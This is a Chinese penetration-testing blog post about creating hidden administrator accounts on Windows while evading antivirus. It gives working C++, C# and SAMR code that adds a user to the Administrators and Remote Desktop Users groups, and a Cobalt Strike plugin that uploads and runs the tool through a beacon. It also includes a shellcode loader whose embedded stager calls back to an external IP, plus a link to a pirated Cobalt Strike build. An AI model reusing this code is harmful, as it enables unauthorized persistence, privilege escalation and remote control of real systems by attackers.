起因:
在渗透测试过程中,有时会登录远程桌面等服务进行横向,但需要知道 Windows 账户口令 (不考虑 hash 传递场景),而直接通过net.exe
进行添加用户,往往会被安全软件直接阻断拦截,这就需要调用 Windows API ,进行 Bypass AV。
C++
-
调用
NetUserAdd
添加本地用户 -
调用
NetLocalGroupAddMembers
将用户添加到组
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32")
int main(int argc, char** argv)
{
if (argc != 3)
{
printf("Usage: AddUserBypass.exe <username> <password>n");
exit(1);
}
wchar_t Username[256];
wchar_t Password[256];
mbstowcs(Username, argv[1], 256);
mbstowcs(Password, argv[2], 256);
NET_API_STATUS nStatus;
USER_INFO_1 UserInfo;
DWORD dwLevel = 1;
DWORD dwError = 0;
UserInfo.usri1_name = Username;
UserInfo.usri1_password = Password;
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);
if (nStatus == NERR_Success)
{
printf("[*] Add User Success!n");
}
else
{
printf("[*] Add User Failed! Error Code: %dn", nStatus);
}
LOCALGROUP_MEMBERS_INFO_3 LGMInfo;
LGMInfo.lgrmi3_domainandname = UserInfo.usri1_name;
nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&LGMInfo, 1);
if (nStatus == NERR_Success)
{
printf("[*] Add User to Administrators Success!n");
}
else
{
printf("[*] Add User to Administrators Failed! Error Code: %dn", nStatus);
}
nStatus = NetLocalGroupAddMembers(NULL, L"Remote Desktop Users", 3, (LPBYTE)&LGMInfo, 1);
if (nStatus == NERR_Success)
{
printf("[*] Add User to Remote Desktop Users Success!n");
}
else
{
printf("[*] Add User to Remote Desktop Users Failed! Error Code: %dn", nStatus);
}
return 0;
}
C#
调用DirectoryServices
添加本地用户,同时可以删除用户、添加用户组。
https://learn.microsoft.com/zh-cn/troubleshoot/developer/visualstudio/csharp/language-compilers/add-user-local-system
using System;
using System.DirectoryServices;
namespace sharpAddUser
{
class Class1
{
static void Main(string[] args)
{
if (args.Length != 2)
{
Console.WriteLine("Usage: UserAdd.exe <username> <password>");
}
else
{
string username = args[0];
string password = args[1];
try
{
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[] { password });
NewUser.CommitChanges();
DirectoryEntry grp;
grp = AD.Children.Find("Administrators", "group");
if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
Console.WriteLine("[*] Account Created Successfully");
Console.WriteLine($"[+] Username: {username}n[+] Password: {password}");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.ReadLine();
}
}
}
}
}
RPC调用
MS-SAMR协议中的SamrCreateUser2InDomain()
来添加用户(其实调用MS-SAMR是NetUserAdd()
等API的底层实现)
实现有两种方式,一种是直接调用MS-SAMR协议去直接创建一个用户,微软官方给了IDL,将其编译,然后构造,这种方式调用起来比较麻烦,另一种是使用神器mimikatz打包好的samlib.dll
void AddUser(wchar_t* uName, wchar_t* uPass)
{
DWORD* pRid;
DWORD* pUse;
DWORD USE = 0;
ULONG grantAccess;
ULONG relativeId;
DWORD* adminRID;
PSID userSID = NULL;
NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;
DWORD i, domainEnumerationContext = 0, domainCountReturned;
PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL;
PSID builtinDomainSid = 0, accountDomainSid = 0;
SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL;
SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 };
NTSTATUS enumGroupStatus;
DWORD groupEnumerationContext = 0;
DWORD groupCountReturned;
UNICODE_STRING adminGroup;
SAMPR_HANDLE hAdminGroup;
UNICODE_STRING userName;
UNICODE_STRING password;
UNICODE_STRING uBuiltin;
UNICODE_STRING serverName;
// init server, username, password
RtlInitUnicodeString(&uBuiltin, L"Builtin");
RtlInitUnicodeString(&userName, uName);
RtlInitUnicodeString(&password, uPass);
RtlInitUnicodeString(&serverName, L"localhost");
status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
if (NT_SUCCESS(status))
{
do
{
enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned);
for (i = 0; i < domainCountReturned; i++)
{
// Get Builtin Domain SID & Account Domain SID
if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid);
else
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid);
}
} while (enumDomainStatus == STATUS_MORE_ENTRIES);
status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle);
if (NT_SUCCESS(status))
{
// Create user in Account Domain
status = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId);
if (NT_SUCCESS(status))
{
wprintf(L"[*] SamCreateUser2InDomain success. User RID: %dn", relativeId);
userAllInfo.NtPasswordPresent = TRUE;
userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;
// Clear the UF_ACCOUNTDISABLE to enable account
userAllInfo.UserAccountControl &= 0xFFFFFFFE;
userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;
userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;
RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);
// Set password and userAccountControl
status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo);
if (NT_SUCCESS(status))
{
wprintf(L"[*] SamSetInformationUser success.n");
}
else wprintf(L"[!] SamSetInformationUser error 0x%08Xn", status);
}
else wprintf(L"[!] SamCreateUser2InDomain error 0x%08Xn", status);
}
else wprintf(L"[!] SamOpenDomain error. 0x%0X8n", status);
status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, builtinDomainSid, &hDomainHandle);
if (NT_SUCCESS(status))
{
RtlInitUnicodeString(&adminGroup, L"administrators");
// Lookup Administrators in Builtin Domain
status = SamLookupNamesInDomain(hDomainHandle, 1, &adminGroup, &adminRID, &USE);
if (NT_SUCCESS(status))
{
status = SamOpenAlias(hDomainHandle, ALIAS_ADD_MEMBER, *adminRID, &hAdminGroup);
if (NT_SUCCESS(status))
{
SamRidToSid(hUserHandle, relativeId, &userSID);
// Add user to Administrators
status = SamAddMemberToAlias(hAdminGroup, userSID);
if (NT_SUCCESS(status))
{
wprintf(L"[*] SamAddMemberToAlias success.n");
}
else wprintf(L"[!] AddMemberToAlias error 0x%08Xn", status);
}
else wprintf(L"[!] SamOpenAlias error 0x%08Xn", status);
}
else wprintf(L"[!] SamLookupNamesInDomain error 0x%08Xn", status);
}
}
else wprintf(L"[!] Samconnect errorn");
SamCloseHandle(hUserHandle);
SamCloseHandle(hDomainHandle);
SamCloseHandle(hServerHandle);
SamFreeMemory(pEnumDomainBuffer);
SamFreeMemory(pEnumGroupBuffer);
}
int main(int argc, wchar_t* argv[])
{
if (argc == 3)
{
AddUser(argv[1], argv[2]);
}
else wprintf(L"Usage: AddUserBypass_SAMR.exe <username> <password>");
return 0;
}
But这种例子用的太多了,还是会被拦截。。。
So,最终版本,给出反编译,相信聪明的你该知道怎么做了(狗头):
CS插件编写:
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm
https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html
popup beacon_bottom{
item "NetUserAdd"{
$bid = $1['@'];
$Dialog = dialog("add admin user",%(username => "laoxinsec",password => "laoxinsec",bid => $bid),$add_user)
drow_text($Dialog,"username", "username: ");
drow_text($Dialog,"password", "password: ");
dbutton_action($Dialog, "run");
dialog_show($Dialog);
}
sub add_user{
$Name = $3['username'];
$passwd = $3['password'];
$cmd = "adduser.exe ".$Name." ".$passwd;
bupload($bid,script_resource("adduser.exe"));
bshell($bid,$cmd);
}
}
简单的loader免杀上线测试插件:
unsigned char buf[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x50x00x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx4bx71x6fx32x00x47x97x09xb7xd3x2cxa5x90xe1x2ex09xd8xe9x6dx51x3fxb6x19xaax2dx6ex7ex0ax44x11xcexb2x02x7dx65x6dx80x53xc8x24x11x84x40x18x11x32x22x0fxe2x6bxcax8ex2ax2cx97xd4x58xbdxc3xa6xd3x5dxccxa2x60x60x36x41x7dx62x3exd0xc6x92x45xcdx83x12x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x4dx41x54x42x4ax53x29x0dx0ax00x20x40x1fx95x2exf1x79xf5xe5xa7x7fxaex7bxf9x59x1fx60xbdx0ex99xddx02x8axb8xf0x1ax3dx5bxa8xeex16x18x57x50x24x95xf9x77xaexafxfex21x2ex85x3fx9axb6xe0xcexd4x72xadxe0x13x6fxcdx3cx5fx88x6ax8bxb6xccx4dx2cx33x60xf5xefx35xa9x87x40x76x4ax5dx7fx44x1exb1x98xe7x38x04x5bx60x0ex1ex1ex25x4dxdax22x40x15xc7x04x2fx4fx48x3dx16xcbx82xfbxbbxa2xcbx8dx98x6fx7ax82x96xe8x22x99xc7xe1x82xcdxc9x8cx9exd4xf5x18x92x83x0bx6ax16xb9x4bxe0x2fxc7x0fx1bx8cx29x97x27x19xafx59x3bx61xc9xcaxc5x07x4dx61x6ax01x5ex80x1bx2ax30x0axa0x8cxe5xd4x16x7ax56xcaxe0x17x74xf7xa9xc7xdexbcx42x6fxd4x4fx8ax25xacx4bx1ex7fxeaxedxe5x2bxe7x36xcex1cx32x35x3dx92xc1xcfx31x7bx57xefxdbxe5x9fx00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx34x37x2ex31x30x38x2ex31x33x37x2ex31x39x30x00x5ex2ex78x90";
void main() {
LPVOID mem = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, buf, sizeof(buf));
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
}
配套视频:
https://www.bilibili.com/video/BV1Qh4y1p7wb/?spm_id_from=333.999.0.0&vd_source=d0c5cfc4008c14d0c490e16cf55f5b65
CS4.8下载地址:
https://anonfiles.com/gcxdW3k7za/CobaltStrike48_pwn3rzs_cyberarsenal_7z
原文始发于微信公众号(老鑫安全):免杀核晶adduser